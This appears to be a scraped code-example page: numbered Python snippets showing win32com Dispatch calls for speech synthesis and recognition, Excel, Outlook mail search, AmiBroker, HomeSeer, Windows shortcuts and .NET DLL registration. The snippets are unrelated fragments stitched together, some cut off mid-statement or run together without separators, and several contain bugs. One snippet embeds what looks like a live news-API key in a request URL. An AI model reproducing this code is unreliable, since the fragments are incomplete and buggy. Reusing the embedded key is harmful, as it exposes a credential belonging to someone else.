    # Miscellaneous methods.

    def mimic(self, words):
        """ Mimic a recognition of the given *words*. """
        self._log.debug("SAPI5 mimic: %r" % (words, ))
        if isinstance(words, string_types):
            phrase = words
        else:
            phrase = " ".join(words)

        # Register a recognition observer for checking the success of this
        # mimic.
        observer = MimicObserver()
        observer.register()

        # Emulate recognition of the phrase and wait for recognition to
        # finish, timing out after 2 seconds.
        self._recognizer.EmulateRecognition(phrase)
        timeout = 2
        NULL = c_int(win32con.NULL)
        if timeout != None:
            begin_time = time.time()
            windll.user32.SetTimer(NULL, NULL, int(timeout * 1000), NULL)

        message = MSG()
        message_pointer = pointer(message)
        while (not timeout) or (time.time() - begin_time < timeout):
            if timeout:
                self._log.debug("SAPI5 message loop: %s sec left" %
                                (timeout + begin_time - time.time()))
            else:
                self._log.debug("SAPI5 message loop: no timeout")

            if windll.user32.GetMessageW(message_pointer, NULL, 0, 0) == 0:
                msg = str(WinError())
                self._log.error("GetMessageW() failed: %s" % msg)
                raise EngineError("GetMessageW() failed: %s" % msg)

            self._log.debug("SAPI5 message: %r" % (message.message, ))
            if message.message == win32con.WM_TIMER:
                # A timer message means this loop has timed out.
                self._log.debug("SAPI5 message loop timed out: %s sec left" %
                                (timeout + begin_time - time.time()))
                break
            else:
                # Process other messages as normal.
                self._log.debug("SAPI5 message translating and dispatching.")
                windll.user32.TranslateMessage(message_pointer)
                windll.user32.DispatchMessageW(message_pointer)

            if observer.status.startswith("recognition:"):
                # The previous message was a recognition which matched.
                self._log.debug("SAPI5 message caused recognition.")

        # Unregister the observer and check its status.
        observer.unregister()
        if observer.status == "failure":
            raise MimicFailure("Mimic failed.")
        elif observer.status == "none":
            raise MimicFailure("Mimic failed, nothing happened.")

    def speak(self, text):
        """ Speak the given *text* using text-to-speech. """
        self._speaker.Speak(text)

    def _get_language(self):
        return "en"

    def set_timer_callback(self, callback, sec):
        self._timer_callback = callback
        self._timer_interval = sec
        self._timer_next_time = time.time()

    def _call_timer_callback(self):
        if not (self._timer_callback or self._timer_interval):
            return

        now = time.time()
        if self._timer_next_time < now:
            self._timer_next_time = now + self._timer_interval
            self._timer_callback()

    def recognize_forever(self):
        """
        Recognize speech in a loop.

        This will also call any scheduled timer functions and ensure that
        the correct window context is used.
        """
        # Register for window change events to activate/deactivate grammars
        # and rules on window changes. This is done here because the SAPI5
        # 'OnPhraseStart' grammar callback is called after grammar state
        # changes are allowed.
        WinEventProcType = WINFUNCTYPE(None, HANDLE, DWORD, HWND, LONG, LONG,
                                       DWORD, DWORD)

        def callback(hWinEventHook, event, hwnd, idObject, idChild,
                     dwEventThread, dwmsEventTime):
            window = Window.get_foreground()
            if hwnd == window.handle:
                for grammar in self.grammars:
                    # Prevent 'notify_begin()' from being called.
                    if grammar.name == "_recobs_grammar":
                        continue

                    grammar.process_begin(window.executable, window.title,
                                          window.handle)

        def set_hook(win_event_proc, event_type):
            return windll.user32.SetWinEventHook(
                event_type, event_type, 0, win_event_proc, 0, 0,
                win32con.WINEVENT_OUTOFCONTEXT)

        win_event_proc = WinEventProcType(callback)
        windll.user32.SetWinEventHook.restype = HANDLE

        [
            set_hook(win_event_proc, et) for et in {
                win32con.EVENT_SYSTEM_FOREGROUND,
                win32con.EVENT_OBJECT_NAMECHANGE,
            }
        ]

        # Recognize speech, call timer functions and handle window change
        # events in a loop.
        self.speak('beginning loop!')
        while 1:
            pythoncom.PumpWaitingMessages()
            self._call_timer_callback()
            time.sleep(0.07)
def main(f):
    app = Dispatch('Indesign.Application.CS5')
    result = app.DoScript(f, 1246973031)  # 执行并返回结果
    print(result)  # 输出结果至console
from win32com.client import Dispatch

sub1 = int(input("enter your marathi test mark : "))
sub2 = int(input("enter your englisg test mark : "))
sub3 = int(input("enter your hindi test mark : "))
sub4 = int(input("enter your science test mark : "))
sub5 = int(input("enter your math's test mark : "))
sub6 = int(input("enter your his and politcel-science test mark : "))
sub7 = int(input("enter your gio test mark : "))

if (sub1 < 33):
    t = sub1
    s1 = "\nyou are fail in marathi"
    speak = Dispatch("SAPI.SpVoice")
    speak.Speak(s1)
    print(s1)
else:
    t = sub1
    st1 = "\nyour marathi test mark is : " + str(t)
    speakj = Dispatch("SAPI.SpVoice")
    speakj.Speak(st1)
    print(st1)

if (sub2 < 33):
    t2 = sub2
    ss2 = "you are fail in englisg"
    speaks = Dispatch("SAPI.SpVoice")
    speaks.Speak(ss2)
    print(ss2)

else:
Beispiel #37
0
import os, sys
from datetime import datetime
from selenium import webdriver
os_name = sys.platform

if 'win32' == sys.platform:
    from win32com.client import Dispatch
    speak = Dispatch("SAPI.SpVoice")

    def sound_alert_windows(message):
        while True:
            speak.SPeak(message)


def sound_alert_macos(message):
    while True:
        os.system(message)


def display_time():
    now = datetime.now()
    current_time = now.strftime("%H:%M:%S")
    return current_time


def create_driver():
    chromedriver = "./chromedriver"
    chrome_options = webdriver.ChromeOptions()
    chrome_options.add_argument("--incognito")
    driver = webdriver.Chrome(chromedriver, options=chrome_options)
    return driver
Beispiel #38
0
 def __init__(self):
     self.excel = Dispatch("Excel.Application")
     self.worksheets = {}
     self.workbook = None
     self.worksheet = None
     self.current_worksheet_name = None
def speak(str):
    from win32com.client import Dispatch
    speak=Dispatch("SAPI.spVoice")
    speak.Speak(str)
Beispiel #40
0
 def OnNotifyNotFound(self, pNotify=None, pInstr=None):
     pInstr = Dispatch(pInstr)        
     print('Unable to find instrument')
Beispiel #41
0
 def OnNotifyFound(self, pNotify=None, pInstr=None):
     pInstr = Dispatch(pInstr)        
     print('Found instrument:')
     print('--> Contract: %s' % pInstr.Get('Contract'))
     print('--> Exchange: %s' % pInstr.Get('Exchange'))
Beispiel #42
0
from win32com.client import Dispatch
from time import sleep

outlook = Dispatch("Outlook.Application")

inbox = outlook.GetNamespace("MAPI").GetDefaultFolder(
    6)  # "6" refers to the index of a folder - in this case,
# the inbox. You can change that number to reference
# any other folder
filter_by_string = "urn:schemas:mailheader:subject like '%CSS Workflow Request%'"
filter_by_date = "%last7days(" + "urn:schemas:httpmail:datereceived" + ")%"

search = outlook.AdvancedSearch(inbox,
                                f"{filter_by_string} AND {filter_by_date}",
                                True, "MySearch")

while search.Results.Count <= 0:
    pass
for item in search.Results:
    print(item.body)
Beispiel #43
0
 def connect(self):
     """ Connect to back-end SR engine. """
     self._recognizer = Dispatch(self.recognizer_dispatch_name)
     self._speaker = Dispatch("SAPI.SpVoice")
     self._compiler = Sapi5Compiler()
Beispiel #44
0
#This is where the format definition file should be. If there is not one already, create one
AB_format_file_path='C:/Program Files/AmiBroker/Formats/TiingoEOD.format'
if not os.path.exists(AB_format_file_path):
    print 'I will create an import file for Amibroker: ',AB_format_file_path, '...'
    defFile = open(AB_format_file_path,"w") 
    defFile.write(ABImportDef)
    defFile.close()
    
data_folders = [
                (dataPath, "TiingoEOD.format")
               ]
               
    
# Create AmiBroker object and specify the Amibroker Database to load
ab = Dispatch("Broker.Application")
ab.LoadDatabase('C:/Program Files/AmiBroker/LiveSystemsData') #Customize

#Get tickers from Amibroker into a list
Qty = ab.Stocks.Count
TickerList=[""]
	
for i in range(Qty): 
    ticker=ab.Stocks( i ).Ticker
    if ticker[0] != "~" and ticker[0] != "^":
       TickerList.append(ab.Stocks( i ).Ticker)
       
print TickerList       
       
##---------------Download all tickers and write to csv
       
Beispiel #45
0
    :param lcid: The LCID for the library
    :return: The created entry
    """
    memid = _get_create_memid(collection)
    result = collection._oleobj_.InvokeTypes(memid, lcid, 1, (9, 0),
                                             ((3, 1), ), _type)
    if result is None:
        if (enum := ComClassEnum.get_child_class(
                collection.__class__.CLSID)) and (cls := enum.for_num(
                    _type, None)):
            # noinspection PyUnboundLocalVariable
            raise ComClassCreationException(
                f'Unable to create {cls.cls.__name__} in {collection=}')
        raise ComClassCreationException(
            f'Unable to create entry in {collection=}')
    return Dispatch(result, 'Create')


def com_iter(obj: DispatchBaseClass, lcid=0):
    """
    Iterate over the items that the given COM object contains.  Yields the proper classes rather than the base classes.
    """
    invkind = DISPATCH_METHOD | DISPATCH_PROPERTYGET
    try:
        enum = obj._oleobj_.InvokeTypes(DISPID_NEWENUM, lcid, invkind,
                                        (13, 10), ())
    except com_error:  # It is not possible to iterate over the given object
        raise IterationNotSupported
    else:
        for value in enum.QueryInterface(IID_IEnumVARIANT):
            yield _get_good_object_(
Beispiel #46
0
#Write dataframe to excel

result.to_excel(output_file,
                index=False,
                header=False,
                startcol=0,
                startrow=3,
                sheet_name="FromToData")

# df_depot_specific_full.to_excel(output_file,index=False,header=True,startcol=0,startrow=0, sheet_name="Org Data")

# In[14]:

#Make all columns in the output excel to AutoFit to the data.

excel = Dispatch('Excel.Application')
wb = excel.Workbooks.Open(output_file)

#Activate first sheet
excel.Worksheets(1).Activate()

#Autofit column in active sheet
excel.ActiveSheet.Columns.AutoFit()

#Save changes in a new file
#wb.SaveAs("D:\\output_fit.xlsx")

#Or simply save changes in a current file
wb.Save()

wb.Close()
Beispiel #47
0
def speak(str):
    speak = Dispatch("SAPI.SpVoice")
    speak.Speak(str)
Beispiel #48
0
def call_udf(module_name, func_name, args, this_workbook=None, caller=None):

    module = get_udf_module(module_name, this_workbook)
    func = getattr(module, func_name)
    func_info = func.__xlfunc__
    args_info = func_info['args']
    ret_info = func_info['ret']
    is_dynamic_array = ret_info['options'].get('expand')

    writing = func_info.get('writing', None)
    if writing and writing == caller.Address:
        return func_info['rval']

    output_param_indices = []

    args = list(args)
    for i, arg in enumerate(args):
        arg_info = args_info[min(i, len(args_info)-1)]
        if type(arg) is int and arg == -2147352572:      # missing
            args[i] = arg_info.get('optional', None)
        elif xlplatform.is_range_instance(arg):
            if arg_info.get('output', False):
                output_param_indices.append(i)
                args[i] = OutputParameter(Range(impl=xlplatform.Range(xl=arg)), arg_info['options'], func, caller)
            else:
                args[i] = conversion.read(Range(impl=xlplatform.Range(xl=arg)), None, arg_info['options'])
        else:
            args[i] = conversion.read(None, arg, arg_info['options'])
    if this_workbook:
        xlplatform.BOOK_CALLER = Dispatch(this_workbook)

    if func_info['async_mode'] and func_info['async_mode'] == 'threading':
        cache_key = get_cache_key(func, args, caller)
        cached_value = cache.get(cache_key)
        if cached_value is not None:  # test against None as np arrays don't have a truth value
            if not is_dynamic_array:  # for dynamic arrays, the cache is cleared below
                del cache[cache_key]
            ret = cached_value
        else:
            # You can't pass pywin32 objects directly to threads
            xw_caller = Range(impl=xlplatform.Range(xl=caller))
            thread = AsyncThread(xw_caller.sheet.book.app.pid,
                                 xw_caller.sheet.book.name,
                                 xw_caller.sheet.name,
                                 xw_caller.address,
                                 func,
                                 args,
                                 cache_key,
                                 is_dynamic_array)
            thread.start()
            return [["#N/A waiting..." * xw_caller.columns.count] * xw_caller.rows.count]
    else:
        if is_dynamic_array:
            cache_key = get_cache_key(func, args, caller)
            cached_value = cache.get(cache_key)
            if cached_value is not None:
                ret = cached_value
            else:
                ret = func(*args)
                cache[cache_key] = ret
        else:
            ret = func(*args)

    xl_result = conversion.write(ret, None, ret_info['options'])

    if is_dynamic_array:
        current_size = (caller.Rows.Count, caller.Columns.Count)
        result_size = (1, 1)
        if type(xl_result) is list:
            result_height = len(xl_result)
            result_width = result_height and len(xl_result[0])
            result_size = (max(1, result_height), max(1, result_width))
        if current_size != result_size:
            from .server import add_idle_task
            add_idle_task(DelayedResizeDynamicArrayFormula(
                Range(impl=xlplatform.Range(xl=caller)).resize(*result_size),
                caller,
                current_size[0] > result_size[0] or current_size[1] > result_size[1]
            ))
        else:
            del cache[cache_key]

    return xl_result
Beispiel #49
0
    def __init__(self,
                 model,
                 ids,
                 fields,
                 preload=[],
                 parent=None,
                 context=None):
        self.glade = glade.XML(common.terp_path("openerp.glade"),
                               'win_save_as', gettext.textdomain())
        self.win = self.glade.get_widget('win_save_as')
        self.ids = ids
        self.model = model
        self.fields_data = {}
        self.fields = {}
        if context is None:
            context = {}
        self.context = context

        if parent is None:
            parent = service.LocalService('gui.main').window
        self.win.set_transient_for(parent)
        self.win.set_icon(common.OPENERP_ICON)
        self.parent = parent

        self.view1 = gtk.TreeView()
        self.view1.get_selection().set_mode(gtk.SELECTION_MULTIPLE)
        self.glade.get_widget('exp_vp1').add(self.view1)
        self.view2 = gtk.TreeView()
        self.view2.get_selection().set_mode(gtk.SELECTION_MULTIPLE)
        self.glade.get_widget('exp_vp2').add(self.view2)
        self.view1.set_headers_visible(False)
        self.view2.set_headers_visible(False)

        cell = gtk.CellRendererText()
        column = gtk.TreeViewColumn(_('Field Name'),
                                    cell,
                                    text=0,
                                    background=2)
        self.view1.append_column(column)

        cell = gtk.CellRendererText()
        column = gtk.TreeViewColumn(_('Field Name'), cell, text=0)
        self.view2.append_column(column)

        #for f in preload:
        #    self.model2.set(self.model2.append(), 0, f[1], 1, f[0])
        self.wid_import_compatible = self.glade.get_widget('import_compatible')

        self.model1 = gtk.TreeStore(gobject.TYPE_STRING, gobject.TYPE_STRING,
                                    gobject.TYPE_STRING)
        self.model2 = gtk.ListStore(gobject.TYPE_STRING, gobject.TYPE_STRING)

        self.fields_original = fields
        self.model_populate(self.fields_original)

        self.view1.set_model(self.model1)
        self.view2.set_model(self.model2)
        self.view1.show_all()
        self.view2.show_all()

        self.wid_action = self.glade.get_widget('win_saveas_combo')
        self.wid_write_field_names = self.glade.get_widget(
            'add_field_names_cb')
        action = self.wid_action.set_active(os.name != 'nt')

        if os.name != 'nt':
            self.wid_action.remove_text(0)
        else:
            try:
                from win32com.client import Dispatch
                import pywintypes
                xlApp = Dispatch("Excel.Application")
            except Exception, e:
                if isinstance(e, pywintypes.com_error):
                    action = self.wid_action.set_active(
                        isinstance(e, pywintypes.com_error))
                    self.wid_action.remove_text(0)
                else:
                    pass
import os

if os.name == 'nt':
    print "hallo windows"
    import pywintypes  #@UnresolvedImport @UnusedImport
    #import pythoncom
    #import win32api
    from win32com.client import Dispatch
else:
    print "hallo unix"

print "juhuu..."

desktop = 'C:\\Users\\MJS\\My Dropbox\\Studium\\Berufspraktikum\\working_directory'

mskpath = os.path.join(desktop, "bla.lnk")
target = os.path.join(desktop, "orig", r"Sic1_3xGFP__thumb_w1NIBA.TIF")
wDir = r"C:\Users\MJS\My Dropbox\Studium\Berufspraktikum\working_directory\orig"
#icon = r"P:\Media\Media Player Classic\mplayerc.exe"

shell = Dispatch('WScript.Shell')
shortcut = shell.CreateShortCut(mskpath)
shortcut.Targetpath = target
shortcut.WorkingDirectory = wDir
#shortcut.IconLocation = icon
shortcut.save()

print "done"
    def register(self):
        """Register to listen to network events."""
        # call the CoInitialize to allow the registration to run in an other
        # thread
        pythoncom.CoInitialize()
        # interface to be used by com
        manager_interface = pythoncom.WrapObject(self)
        event_system = Dispatch(PROGID_EventSystem)
        # register to listent to each of the events to make sure that
        # the code will work on all platforms.
        for current_event in SUBSCRIPTIONS:
            # create an event subscription and add it to the event
            # service
            event_subscription = Dispatch(PROGID_EventSubscription)
            event_subscription.EventClassId = SENSGUID_EVENTCLASS_NETWORK
            event_subscription.PublisherID = SENSGUID_PUBLISHER
            event_subscription.SubscriptionID = current_event[0]
            event_subscription.SubscriptionName = current_event[1]
            event_subscription.MethodName = current_event[2]
            event_subscription.SubscriberInterface = manager_interface
            event_subscription.PerUser = True
            # store the event
            try:
                event_system.Store(PROGID_EventSubscription,
                                   event_subscription)
            except pythoncom.com_error as e:
                logging.error('Error registering %s to event %s', e,
                              current_event[1])

        pythoncom.PumpMessages()
Beispiel #52
0
from win32com.client import Dispatch
import requests
country = input(
    "Please enter the country name of which you wanted to see news : \n")
url = "http://newsapi.org/v2/top-headlines?" + "country=" + \
    country + '&' + "apiKey=45b3068e851842fbbf3fe28772d995b9"
webpage_asJson = requests.get(url).json()
articles = webpage_asJson["articles"]

results = []

for art in articles:
    results.append(art['title'])

for i in range(len(results)):
    print(i + 1, results[i])

speak = Dispatch("SAPI.SpVoice")
speak.Speak("and the results are")
speak.Speak(results)
Beispiel #53
0
from win32com.client import constants, Dispatch

Msg = "Hi this is a test"

speaker = Dispatch("SAPI.SpVoice")  #Create SAPI SpVoice Object
speaker.Speak(Msg)  #Process TTS
del speaker
Beispiel #54
0
def speech(str):
    speak=Dispatch(("SAPI.spVoice"))
    speak.speak(str)
def registerInterfaces():
    print("Checking for access to MS data formats...")

    import ctypes
    assert ctypes.windll.shell32.IsUserAnAdmin(
    ), "registerInterfaces() must be run with administrator priviledges!"

    import os
    import sys
    import subprocess
    import glob
    from collections import defaultdict
    from win32com.client import Dispatch

    interfaceModules = {
        "BlaisWiff.dll": "WIFF",
        "MassSpecDataReader.dll": "D",  # Agilent
        "BaseCommon.dll": "D",
        "BaseDataAccess.dll": "D",
        "BlaisT2D.dll": "T2D",
        "RawReader.dll": "RAW"
    }
    interfaceGUIDs = {
        "T2D": "{7e3450b1-75e7-49b2-9be7-64cbb2458c56}",
        "D": 'Agilent.MassSpectrometry.DataAnalysis.MassSpecDataReader',
        "WIFF": "{9eabbbb3-5a2a-4f73-aa60-f87b736d3476}",
        "RAW": "{10729396-43ee-49e5-aa07-85f02292ac70}"
    }

    if sys.maxsize > 2**32: bitness = "64"
    else: bitness = ""

    try:
        netDir = sorted(
            glob.glob(
                'c:/Windows/Microsoft.NET/Framework%s/v[34]*/RegAsm.exe' %
                bitness))[-1]
    except IndexError:
        message = (
            ".NET version 3 or higher not found; the free .NET redistributable can be found at: "
            "http://www.microsoft.com/en-us/download/details.aspx?id=17718")
        print(message)
        pause()
        return 1

    initialChecks = {}
    for filetype, guid in list(interfaceGUIDs.items()):
        try:
            Dispatch(guid)
            initialChecks[filetype] = True
        except:
            initialChecks[filetype] = False

    dllsFound = {}
    for directory in sys.path + [os.path.dirname(sys.executable)]:
        if len(os.path.abspath(
                directory)) <= 3:  # Searching from base directory is unwise.
            print(("Not searching from %s" % directory))
            continue
        for path, names, files in os.walk(directory):
            #print path
            for filename in files:
                if (filename in list(interfaceModules.keys())) and (
                        not filename in list(dllsFound.keys())):
                    dllsFound[filename] = os.path.join(path, filename)
                    if len(dllsFound) == len(interfaceModules): break

    registerResults = defaultdict(int)
    for filename in list(interfaceModules.keys()):
        print(('\n\n' + filename + '\n'))
        try:
            dllpath = dllsFound[filename]
            ret = subprocess.call([netDir, dllpath, "/tlb", "/codebase"])
            registerResults[interfaceModules[filename]] |= ret
        except KeyError:
            registerResults[interfaceModules[filename]] = "No .DLL"

    afterChecks = {}
    for filetype, guid in list(interfaceGUIDs.items()):
        try:
            Dispatch(guid)
            afterChecks[filetype] = True
        except:
            afterChecks[filetype] = False

    print("Registration operations completed.")
    print("Results: \n")
    print("File Type\tRegistered Before\tRegAsm Return Code\tRegistered Now")
    for filetype in list(interfaceGUIDs.keys()):
        print(("{0}\t\t{1}\t\t{2}\t\t\t{3}".format(filetype,
                                                   initialChecks[filetype],
                                                   registerResults[filetype],
                                                   afterChecks[filetype])))
    print("\n")
    #if not afterChecks["RAW"]:
    #print "MSFileReader (required for RAW file access) has not been installed.  Run the Thermo MSFileReader installation package now? [Y/n]"
    #if 'n' not in input().lower():
    #if not os.path.exists(msfilereader_installer):
    #print "MSFileReader installer not found!  Please re-install multiplierz or download MSFileReader from the Thermo Scientific website."
    #print msfilereader_installer
    #return 1
    #print "Please wait..."
    #retval = subprocess.call(msfilereader_installer)
    #if not retval:
    #print "Done."
    #else:
    #print "An error occurred. (Return value %s)" % retval

    return 0
Beispiel #56
0
class HomeseerPlugin(eg.PluginClass):
    def __init__(self):
        self.AddAction(OnOffCommand)
        self.AddAction(OffCommand)
        self.AddAction(OnCommand)
        self.AddAction(Speak)

    def __start__(self, hostname, username, password):
        self.hsi = Dispatch("HomeSeer2.application")
        self.connected = False
        self.hostname = hostname
        self.username = username
        self.password = password

        print "Trying to connect to Homeseer-host " + self.hostname + " using user " + self.username + "."
        self.hsi.SetHost(self.hostname)
        rval = self.hsi.Connect(self.username, self.password)
        if rval == "":
            print "Successfully connected to Homeseer " + self.hostname + " using user " + self.username + "."
            self.connected = True
        else:
            print "Error: " + rval
            self.hsi.Disconnect
            self.connected = False

        if self.connected:
            self.hs = Dispatch("homeseer.application")

    def __stop__(self):
        if self.connected:
            self.hsi.Disconnect
            print "Disconnected from Homeseer."
            self.connected = False

    def __close__(self):
        print "Homeseer plugin is now closed."

    def doSpeak(self, speech):
        if self.connected:
            print "Speaking " + speech
            self.hs.Speak(speech)
        else:
            print "Not connected to Homeseer."

    def doOnOffCommand(self, deviceCode):
        if self.connected:
            if self.hs.DeviceExistsRef(
                    deviceCode) > -1:  # krambriw: Check if the device exists
                if self.hs.IsOn(deviceCode):
                    command = "Off"
                else:
                    command = "On"

                print "Sending command " + command + " to " + deviceCode
                self.hs.ExecX10(deviceCode, command, 0, 0, False)
            else:
                print deviceCode + " does not exist in Homeseer configuration."
        else:
            print "Not connected to Homeseer."

    def doOffCommand(self, deviceCode):
        if self.connected:
            if self.hs.DeviceExistsRef(
                    deviceCode) > -1:  # krambriw: Check if the device exists
                command = "Off"
                print "Sending command " + command + " to " + deviceCode
                self.hs.ExecX10(deviceCode, command, 0, 0, False)
            else:
                print deviceCode + " does not exist in Homeseer configuration."
        else:
            print "Not connected to Homeseer."

    def doOnCommand(self, deviceCode):
        if self.connected:
            if self.hs.DeviceExistsRef(
                    deviceCode) > -1:  # krambriw: Check if the device exists
                command = "On"
                print "Sending command " + command + " to " + deviceCode
                self.hs.ExecX10(deviceCode, command, 0, 0, False)
            else:
                print deviceCode + " does not exist in Homeseer configuration."
        else:
            print "Not connected to Homeseer."

    def Configure(self,
                  hostname="localhost",
                  username="******",
                  password="******"):
        panel = eg.ConfigPanel()

        hostnameTextControl = panel.TextCtrl(hostname)
        usernameTextControl = panel.TextCtrl(username)
        passwordTextControl = wx.TextCtrl(panel,
                                          -1,
                                          password,
                                          size=(175, -1),
                                          style=wx.TE_PASSWORD)

        sizer = wx.FlexGridSizer(rows=3, cols=2, hgap=10, vgap=5)
        sizer.Add(panel.StaticText("Homeseer Host: "))
        sizer.Add(hostnameTextControl)
        sizer.Add(panel.StaticText("Homeseer Username: "******"Homeseer Password: "))  # row2, col1
        sizer.Add(passwordTextControl)

        border = wx.BoxSizer()
        border.Add(sizer, 0, wx.ALL, 10)
        panel.SetSizerAndFit(border)

        while panel.Affirmed():
            panel.SetResult(hostnameTextControl.GetValue(),
                            usernameTextControl.GetValue(),
                            passwordTextControl.GetValue())
Beispiel #57
0
def speak(content):
    from win32com.client import Dispatch
    speak = Dispatch('SAPI.SpVoice')
    speak.Speak(content)
Beispiel #58
0
def speak(str):
    news = Dispatch("SAPI.SpVoice")
    news.Speak(str)
Beispiel #59
0
            print(f"the book is already lend by {self.lend_dict[book]}.")

    def return_book(self, book):
        if book not in self.lend_dict.keys():
            print('Not Returnable. Check twice')
        else:
            self.lend_dict.pop(book)
            print('Book returned successfuly.\n')

    def add_book(self, book):
        self.book_list.append(book)
        print('Book added successfully.')


if __name__ == '__main__':
    speak = Dispatch("SAPI.spvoice")
    speak.speak("Welcome to the Library")
    print('\t\t **Welcome to Library** \t\t\n')

    obj = library([
        'python', 'Let us C', 'C++', 'compiler design', 'java', 'web designing'
    ], 'Aditya Mangal')

    while True:

        user = int(
            input(
                "what you want you do?\nPress 1 to display the books in the library.\nPress 2 to lend a book from library.\nPress 3 to return a book.(Return the book in given time to ignore late fine)\nPress 4 to add a book.\n"
            ))

        if user is 1:
Beispiel #60
0
    def recognition_callback(self, StreamNumber, StreamPosition,
                             RecognitionType, Result):
        try:
            newResult = Dispatch(Result)
            phrase_info = newResult.PhraseInfo
            rule_name = phrase_info.Rule.Name

            #---------------------------------------------------------------
            # Build a list of rule names for each element.

            # First populate it with the top level rule name.
            element = phrase_info.Rule
            name = element.Name
            start = element.FirstElement
            count = element.NumberOfElements
            rule_names = [name] * count

            # Walk the tree of child rules and put their names in the list.
            stack = [collection_iter(phrase_info.Rule.Children)]
            while stack:
                try:
                    element = next(stack[-1])
                except StopIteration:
                    stack.pop()
                    continue
                name = element.Name
                start = element.FirstElement
                count = element.NumberOfElements
                rule_names[start:start + count] = [name] * count
                if element.Children:
                    stack.append(collection_iter(element.Children))

            #---------------------------------------------------------------
            # Prepare the words and rule names for the element parsers.

            replacements = [False] * len(rule_names)
            if phrase_info.Replacements:
                for replacement in collection_iter(phrase_info.Replacements):
                    begin = replacement.FirstElement
                    end = begin + replacement.NumberOfElements
                    replacements[begin] = replacement.Text
                    for index in range(begin + 1, end):
                        replacements[index] = True

            results = []
            rule_set = list(set(rule_names))

            elements = phrase_info.Elements
            for index in range(len(rule_names)):
                element = elements.Item(index)
                rule_id = rule_set.index(rule_names[index])

                # Map dictation rule IDs to 1M so that dragonfly recognizes
                # the words as dictation.
                if rule_names[index] == "dgndictation":
                    rule_id = 1000000

                replacement = replacements[index]
                info = [
                    element.LexicalForm, rule_id, element.DisplayText,
                    element.DisplayAttributes, replacement
                ]
                results.append(info)

            #---------------------------------------------------------------
            # Retain audio

            # Only write audio data and metadata if the directory exists.
            retain_dir = self.engine._retain_dir
            if retain_dir and not os.path.isdir(retain_dir):
                self.engine._log.warning(
                    "Audio was not retained because '%s' was not a "
                    "directory" % retain_dir)
            elif retain_dir:
                try:
                    file_stream = Dispatch("SAPI.SpFileStream")
                    # Note: application can also retrieve smaller portions
                    # of the audio stream by specifying a starting phrase
                    # element and phrase element length.
                    audio_stream = newResult.Audio()

                    # Make sure we have audio data, which we wouldn't from a
                    # mimic or if the retain flag wasn't set above.
                    if audio_stream:
                        # Write audio data.
                        file_stream.Format = audio_stream.Format
                        now = datetime.now()
                        filename = ("retain_%s.wav" %
                                    now.strftime("%Y-%m-%d_%H-%M-%S_%f"))
                        wav_path = os.path.join(retain_dir, filename)
                        flags = constants.SSFMCreateForWrite
                        file_stream.Open(wav_path, flags)
                        try:
                            file_stream.Write(audio_stream.GetData())
                        finally:
                            file_stream.Close()

                        # Write metadata
                        words = ' '.join([r[2] for r in results])
                        audio_length = int(newResult.Times.Length) / 1e7
                        tsv_path = os.path.join(retain_dir, "retain.tsv")
                        with open(tsv_path, "a") as tsv_file:
                            tsv_file.write('\t'.join([
                                filename,
                                str(audio_length), self.grammar.name,
                                rule_name, words
                            ]) + '\n')
                except:
                    self.engine._log.exception("Exception retaining audio")

            #---------------------------------------------------------------
            # Attempt to parse the recognition.

            func = getattr(self.grammar, "process_recognition", None)
            words = tuple([r[0] for r in results])
            if func:
                if not func(words):
                    return

            s = State(results, rule_set, self.engine)
            for r in self.grammar.rules:
                if not r.active:
                    continue

                s.initialize_decoding()
                for result in r.decode(s):
                    if s.finished():
                        # Notify recognition observers, then process the
                        # rule.
                        self.recobs_manager.notify_recognition(words)
                        root = s.build_parse_tree()
                        r.process_recognition(root)
                        return

        except Exception as e:
            Sapi5Engine._log.error("Grammar %s: exception: %s" %
                                   (self.grammar._name, e),
                                   exc_info=True)

        #-------------------------------------------------------------------
        # If this point is reached, then the recognition was not
        #  processed successfully..

        self.engine._log.error("Grammar %s: failed to decode"
                               " recognition %r." %
                               (self.grammar._name, [r[0] for r in results]))